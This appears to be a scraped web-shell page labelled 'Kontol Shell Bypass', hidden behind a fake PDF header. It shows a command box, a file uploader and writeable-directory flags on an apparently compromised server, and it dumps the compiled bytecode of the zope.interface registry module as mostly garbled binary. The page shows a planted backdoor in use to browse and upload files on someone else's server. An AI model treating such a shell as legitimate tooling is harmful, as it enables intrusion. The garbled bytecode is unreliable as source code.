%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/zope/interface/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/zope/interface/__pycache__/registry.cpython-39.pyc
a

�_g�d�@s�dZddlmZzddlmZWney:dd�ZYn0ddlmZddlm	Z	ddlm
Z
dd	lmZdd
lmZddl
mZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZdgZGdd�d�Zdd�ZGdd�d�Ze
e�Gdd�d��Zdd�Zdd �Zd!d"�Z d#d$�Z!e
e�Gd%d&�d&��Z"e
e�Gd'd(�d(��Z#ee�Gd)d*�d*e#��Z$ee�Gd+d,�d,e#��Z%d-S).zBasic components support
�)�defaultdict)�notifycOsdS�N�)�arg�kwrr�D/vddos/python/lib/python3.9/site-packages/zope/interface/registry.pyrsr)�AdapterRegistry)�
implementedBy)�implementer)�implementer_only)�
providedBy)�	Interface)�ComponentLookupError)�IAdapterRegistration)�IComponents)�IHandlerRegistration)�ISpecification)� ISubscriptionAdapterRegistration)�IUtilityRegistration)�
Registered)�Unregistered�
Componentsc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�_UnhashableComponentCountercCsdd�|��D�|_dS)NcSsg|]}|�qSrr)�.0�itemrrr�
<listcomp>7�z8_UnhashableComponentCounter.__init__.<locals>.<listcomp>)�items�_data)�selfZ	otherdictrrr�__init__5sz$_UnhashableComponentCounter.__init__cCs$|jD]\}}||kr|SqdS�Nr)r)r �key�	component�countrrr�__getitem__9s
z'_UnhashableComponentCounter.__getitem__cCsHt|j�D](\}}|d|kr
||f|j|<dSq
|j�||f�dSr")�	enumerater�append)r r$r%�i�datarrr�__setitem__?s
z'_UnhashableComponentCounter.__setitem__cCs:t|j�D]"\}}|d|kr
|j|=dSq
t|��dSr")r'r�KeyError)r r$r)r*rrr�__delitem__Fs
z'_UnhashableComponentCounter.__delitem__N)�__name__�
__module__�__qualname__r!r&r+r-rrrrr2srcCstt�Sr)r�intrrrr�_defaultdict_intNsr2c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�_UtilityRegistrationscCs"tt�|_||_||_|��dSr)rr2�_cache�
_utilities�_utility_registrations�%_UtilityRegistrations__populate_cache)r �	utilitiesZutility_registrationsrrrr!Ts
z_UtilityRegistrations.__init__cCs4t|j���D] \\}}}|d}|�||�qdSr")�iterr6r�$_UtilityRegistrations__cache_utility)r �p�_r*r$rrrZ__populate_cache\sz&_UtilityRegistrations.__populate_cachecCsZz|j||d7<Wn:tyTt|j|�}|j|<||d7<Yn0dS)N�)r4�	TypeErrorr)r �providedr$ZprovrrrZ__cache_utilityas�z%_UtilityRegistrations.__cache_utilitycCs:|j|}||}|d8}|dkr*||=n|||<|dkS)Nr=r)r4)r r?r$r%rrrZ__uncache_utilityls
z'_UtilityRegistrations.__uncache_utilitycCs.z|j||dkWSty(YdS0dS)NrF)r4r>)r r?r$rrr�_is_utility_subscribed{sz,_UtilityRegistrations._is_utility_subscribedcCsV|�||�}|||f|j||f<|j�d|||�|sF|j�d||�|�||�dS�Nr)r@r6r5�register�	subscriber:)r r?�namer$�info�factory�
subscribedrrr�registerUtility�s��z%_UtilityRegistrations.registerUtilitycCs@|j||f=|j�d||�|�||�}|s<|j�d||�dSrA)r6r5�
unregister�&_UtilityRegistrations__uncache_utility�unsubscribe)r r?rDr$rGrrr�unregisterUtility�s
z'_UtilityRegistrations.unregisterUtilityN)
r.r/r0r!r7r:rJr@rHrLrrrrr3Rs
r3csNeZdZdZdIdd�Zdd�Z�fdd	�Zd
d�Zdd
�Ze	dd��Z
dd�Zdd�Ze	dd�dd��Z
dJdd�ZdKdd�Zdd�ZdLdd�ZdMd d!�Zd"d#�Zd$d%�ZdNd&d'�ZdOd(d)�Zd*d+�ZdPd,d-�ZdQd.d/�ZdRd0d1�ZdSd2d3�Zd4d5�ZdTd6d7�Zd8d9�ZdUd:d;�Zd<d=�Z dVd>d?�Z!d@dA�Z"dWdBdC�Z#dDdE�Z$dXdGdH�Z%�Z&S)YrN�rcCs8t|t�sJ�||_|��|��t|�|_d|_dSr)�
isinstance�strr.�_init_registries�_init_registrations�tuple�	__bases__�_v_utility_registrations_cache)r rD�basesrrrr!�s
zComponents.__init__cCsd|jj�d|j�d�S)N�<� �>)�	__class__r.�r rrr�__repr__�szComponents.__repr__cs8t���}dd�|d��D�}t|�}||d<t|�S)NcSs i|]\}}|�d�s||�qS)Z_v_)�
startswith)r�k�vrrr�
<dictcomp>�s
�z)Components.__reduce__.<locals>.<dictcomp>�)�super�
__reduce__r�listrR)r Z	reductionZfiltered_state�rYrrrb�s

zComponents.__reduce__cCst�|_t�|_dSr)r	�adaptersr8rZrrrrP�szComponents._init_registriescCsi|_i|_g|_g|_dSr)r6�_adapter_registrations�_subscription_registrations�_handler_registrationsrZrrrrQ�szComponents._init_registrationscCs>|j}|dus&|j|jus&|j|jur:t|j|j�}|_|Sr)rTr5r8r6r3)r �cacherrr�_utility_registrations_cache�s�
�
���z'Components._utility_registrations_cachecCs|j�dd�S)NrSr)�__dict__�getrZrrr�	_getBases�szComponents._getBasescCs>tdd�|D��|j_tdd�|D��|j_t|�|jd<dS)NcSsg|]
}|j�qSr)re�r�baserrrr�sz(Components._setBases.<locals>.<listcomp>cSsg|]
}|j�qSr)r8rnrrrr�srS)rRrerSr8rk�r rUrrr�	_setBases�s��zComponents._setBasescCs|��Sr)rmrZrrr�<lambda>�rzComponents.<lambda>cCs
|�|�Sr)rqrprrrrr�rTc	Cs�|r|rtd��|�}|dur&t|�}|dkr6t|�}|j�||f�}|durx|dd�||fkrfdS|�|d||�|j�|||||�|r�tt	t
||||||���dS)N�$Can't specify factory and component.rMr`r)r>�_getUtilityProvided�_getNamer6rlrLrjrHrr�UtilityRegistration)r r$r?rDrE�eventrF�regrrrrH�s,
���zComponents.registerUtilitycCs�|r|rtd��|�}|dur6|dur.td��t|�}|j�||f�}|dusb|durf||dkrfdS|durv|d}|j�|||�ttt||||g|dd��R���dS)Nrsz3Must specify one of component, factory and providedrFr=T)	r>rtr6rlrjrLrrrv)r r$r?rDrF�oldrrrrLs,
���zComponents.unregisterUtilityccs6t|j���D]"\\}}}t|||g|�R�VqdSr)r9r6rrv)r r?rDr*rrr�registeredUtilities$s�zComponents.registeredUtilitiescCs|j�d|||�SrA)r8�lookup)r r?rD�defaultrrr�queryUtility)szComponents.queryUtilitycCs&|j�d||�}|dur"t||��|SrA)r8r{r)r r?rDZutilityrrr�
getUtility,s
zComponents.getUtilityccs|j�d|�EdHdSrA)r8�	lookupAll�r �	interfacerrr�getUtilitiesFor2szComponents.getUtilitiesForcCs|j�d|�SrA)r8Z
subscriptionsr�rrr�getAllUtilitiesRegisteredFor5sz'Components.getAllUtilitiesRegisteredForc	Csr|durt|�}t||�}|dkr*t|�}||f|j|||f<|j�||||�|rnttt||||||���dS�NrM)	�_getAdapterProvided�_getAdapterRequiredrurfrerBrr�AdapterRegistration�r rF�requiredr?rDrErwrrr�registerAdapter8s
���zComponents.registerAdaptercCs�|dur |durtd��t|�}|dur8|dur8td��t||�}|j�|||f�}|dusp|durt||dkrtdS|j|||f=|j�|||�ttt	||||g|�R���dS)N�(Must specify one of factory and provided�(Must specify one of factory and requiredrFT)
r>r�r�rfrlrerIrrr�)r rFr�r?rDryrrr�unregisterAdapterJs$

��zComponents.unregisterAdapterccs:t|j���D]&\\}}}\}}t||||||�VqdSr)r9rfrr�)r r�r?rDr$rErrr�registeredAdaptersds
�
�zComponents.registeredAdapterscCs|j�||||�Sr)re�queryAdapter)r �objectr�rDr|rrrr�jszComponents.queryAdaptercCs(|j�|||�}|dur$t|||��|Sr)rer�r)r r�r�rD�adapterrrr�
getAdaptermszComponents.getAdaptercCs|j�||||�Sr)re�queryMultiAdapter)r �objectsr�rDr|rrrr�ss�zComponents.queryMultiAdaptercCs(|j�|||�}|dur$t|||��|Sr)rer�r)r r�r�rDr�rrr�getMultiAdapterxszComponents.getMultiAdapterccs@|j�ttt|��|�D]"\}}||�}|dur||fVqdSr)rerrc�mapr
)r r�r?rDrFr�rrr�getAdapters~s�zComponents.getAdaptersc	Csn|rtd��|durt|�}t||�}|j�|||||f�|j�|||�|rjttt	||||||���dS)N�'Named subscribers are not yet supported)
r>r�r�rgr(rerCrr�SubscriptionRegistrationr�rrr�registerSubscriptionAdapter�s
���z&Components.registerSubscriptionAdapterccs"|jD]}t|g|�R�VqdSr)rgr��r r*rrr�registeredSubscriptionAdapters�s
z)Components.registeredSubscriptionAdaptersc	s�|rtd���dur,�dur$td��t����durD�durDtd��t�����durn��fdd�|jD�}n���fdd�|jD�}t|�t|j�kr�dS||jdd�<|j�����ttt	|��|�d���d	S)
Nr�r�r�cs4g|],\}}}}}|�kr"|�ks|||||f�qSrr�r�rr;�n�fr))r?r�rrr�s�z<Components.unregisterSubscriptionAdapter.<locals>.<listcomp>cs<g|]4\}}}}}|�kr*|�kr*|�ks|||||f�qSrrr��rFr?r�rrr�s�FrMT)
r>r�r�rg�lenrerKrrr�)r rFr�r?rD�newrr�r�unregisterSubscriptionAdapter�s4
����z(Components.unregisterSubscriptionAdaptercCs|j�||�Sr�re�subscribers)r r�r?rrrr��szComponents.subscriberscCsZ|rtd��t||�}|j�||||f�|j�|d|�|rVttt|||||���dS)Nz$Named handlers are not yet supported)	r>r�rhr(rerCrr�HandlerRegistration)r rFr�rDrErwrrr�registerHandler�s

��zComponents.registerHandlerccs"|jD]}t|g|�R�VqdSr)rhr�r�rrr�registeredHandlers�s
zComponents.registeredHandlerscs�|rtd���dur$�dur$td��t�����durL�fdd�|jD�}n��fdd�|jD�}t|�t|j�krxdS||jdd�<|j��d��ttt|�|�d���dS)	Nr�r�cs(g|] \}}}}|�kr||||f�qSrr�rr�r�r�r))r�rrr�s
�z0Components.unregisterHandler.<locals>.<listcomp>cs0g|](\}}}}|�kr |�ks||||f�qSrrr��rFr�rrr�s
�FrMT)	r>r�rhr�rerKrrr�)r rFr�rDr�rr�r�unregisterHandler�s(

���zComponents.unregisterHandlercGs|j�|d�dSrr�)r r�rrr�handleszComponents.handleFc	Cs$t|j�}|j}d}d}d}d}d|jvs.J�dd�|_|rJ|j}|j}	ndd�}}	z�|��D]t\\}
}\}}
}|�d|
|�|kr�|d|
||�|d7}n|d7}|�	d|
|�dur�|d7}|	d|
|�q`|d7}q`W|`|r�|s�|r�|�|�n"|`|�r|�s
|�r|�|�0||||d	�S)
a�
        Emergency maintenance method to rebuild the ``.utilities``
        registry from the local copy maintained in this object, or
        detect the need to do so.

        Most users will never need to call this, but it can be helpful
        in the event of suspected corruption.

        By default, this method only checks for corruption. To make it
        actually rebuild the registry, pass `True` for *rebuild*.

        :param bool rebuild: If set to `True` (not the default),
           this method will actually register and subscribe utilities
           in the registry as needed to synchronize with the local cache.

        :return: A dictionary that's meant as diagnostic data. The keys
           and values may change over time. When called with a false
           *rebuild*, the keys ``"needed_registered"`` and
           ``"needed_subscribed"`` will be non-zero if any corruption was
           detected, but that will not be corrected.

        .. versionadded:: 5.3.0
        r�changedcSsdSrr)r<rrrrr(rzAComponents.rebuildUtilityRegistryFromLocalCache.<locals>.<lambda>cWsdSrr)�argsrrrrr.rrr=N)�needed_registered�did_not_register�needed_subscribed�did_not_subscribe)
�dictr6r8rkr�rBrCr�
registeredrG)r Zrebuild�regs�utilsr�r�r�r�rBrCr?rD�value�_info�_factoryrrr�$rebuildUtilityRegistryFromLocalCachesB


��z/Components.rebuildUtilityRegistryFromLocalCache)rMr)NNrMrMTN)NNrMN)rMN)rM)NNrMrMT)NNNrM)rMN)rM)rMN)rM)NNrMrMT)NNNrM)NrMrMT)NNrM)F)'r.r/r0rTr!r[rbrPrQ�propertyrjrmrqrSrHrLrzr}r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��
__classcell__rrrdrr�sn


��
�


�
�


�

	�
�
*�

"cCs"z|jWStyYdS0dSr�)Z__component_name__�AttributeError)r$rrrruJsrucCs,tt|��}t|�dkr |dStd��dS)Nr=rzWThe utility doesn't provide a single interface and no provided interface was specified.)rcr
r�r>)r$r?rrrrtQs�rtcCs,tt|��}t|�dkr |dStd��dS)Nr=rzaThe adapter factory doesn't implement a single interface and no provided interface was specified.)rcr
r�r>)rFr?rrrr�[s�r�cCs�|dur0z
|j}WqBty,td��YqB0nt�|�rBtd��g}|D]J}|dur\t}n.t�|�s�t|t�rzt|�}ntdt|���|�	|�qJt
|�S)NzoThe adapter factory doesn't have a __component_adapts__ attribute and no required specifications were specifiedzLthe required argument should be a list of interfaces, not a single interfacez?Required specification must be a specification or class, not %r)Z__component_adapts__r�r>rr
rrN�typer
r(rR)rFr��resultr�rrrr�es2
�
�


��r�c@sVeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�ZdS)rvNcCs(||_||_||_||_||_||_dSr)�registryr?rDr$rErF)r r�r?rDr$�docrFrrrr!�szUtilityRegistration.__init__cCs<d�|jj|jt|jdd�|jt|jdt|j��|j	|j
�S)Nz"{}({!r}, {}, {!r}, {}, {!r}, {!r})r.)�formatrYr.r��getattrr?rDr$�reprrFrErZrrrr[�s�zUtilityRegistration.__repr__cCst|�Sr��idrZrrr�__hash__�szUtilityRegistration.__hash__cCst|�t|�kSr�r��r �otherrrr�__eq__�szUtilityRegistration.__eq__cCst|�t|�kSrr�r�rrr�__ne__�szUtilityRegistration.__ne__cCst|�t|�kSrr�r�rrr�__lt__�szUtilityRegistration.__lt__cCst|�t|�kSrr�r�rrr�__le__�szUtilityRegistration.__le__cCst|�t|�kSrr�r�rrr�__gt__�szUtilityRegistration.__gt__cCst|�t|�kSrr�r�rrr�__ge__�szUtilityRegistration.__ge__)N�r.r/r0r!r[r�r�r�r�r�r�r�rrrrrv�s
	rvc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)r�cCs,||||||f\|_|_|_|_|_|_dSr)r�r�r?rDrFrE)r r�r�r?rDr$r�rrrr!�s��zAdapterRegistration.__init__cCsTd�|jj|jdd�dd�|jD��dt|jdd�|jt|j	dt
|j	��|j�S)Nz {}({!r}, {}, {}, {!r}, {}, {!r})�[�, cSsg|]
}|j�qSr�r.�rr�rrrr�rz0AdapterRegistration.__repr__.<locals>.<listcomp>�]r.)r�rYr.r��joinr�r�r?rDrFr�rErZrrrr[�s�zAdapterRegistration.__repr__cCst|�Srr�rZrrrr��szAdapterRegistration.__hash__cCst|�t|�kSrr�r�rrrr��szAdapterRegistration.__eq__cCst|�t|�kSrr�r�rrrr��szAdapterRegistration.__ne__cCst|�t|�kSrr�r�rrrr��szAdapterRegistration.__lt__cCst|�t|�kSrr�r�rrrr��szAdapterRegistration.__le__cCst|�t|�kSrr�r�rrrr��szAdapterRegistration.__gt__cCst|�t|�kSrr�r�rrrr��szAdapterRegistration.__ge__Nr�rrrrr��s	r�c@seZdZdS)r�N)r.r/r0rrrrr��sr�c@s,eZdZdd�Zedd��ZdZdd�ZdS)r�cCs&|||||f\|_|_|_|_|_dSr)r�r�rD�handlerrE)r r�r�rDr�r�rrrr!�s�zHandlerRegistration.__init__cCs|jSr)r�rZrrrrF�szHandlerRegistration.factoryNcCsHd�|jj|jdd�dd�|jD��d|jt|jdt	|j��|j
�S)Nz{}({!r}, {}, {!r}, {}, {!r})r�r�cSsg|]
}|j�qSrr�r�rrrr�rz0HandlerRegistration.__repr__.<locals>.<listcomp>r�r.)r�rYr.r�r�r�rDr�rFr�rErZrrrr[�s�zHandlerRegistration.__repr__)r.r/r0r!r�rFr?r[rrrrr��s

r�N)&�__doc__�collectionsrZ
zope.eventr�ImportErrorZzope.interface.adapterr	Zzope.interface.declarationsr
rrr
Zzope.interface.interfacerZzope.interface.interfacesrrrrrrrrr�__all__rr2r3rrurtr�r�rvr�r�r�rrrr�<module>sT�G3

)&

Kontol Shell Bypass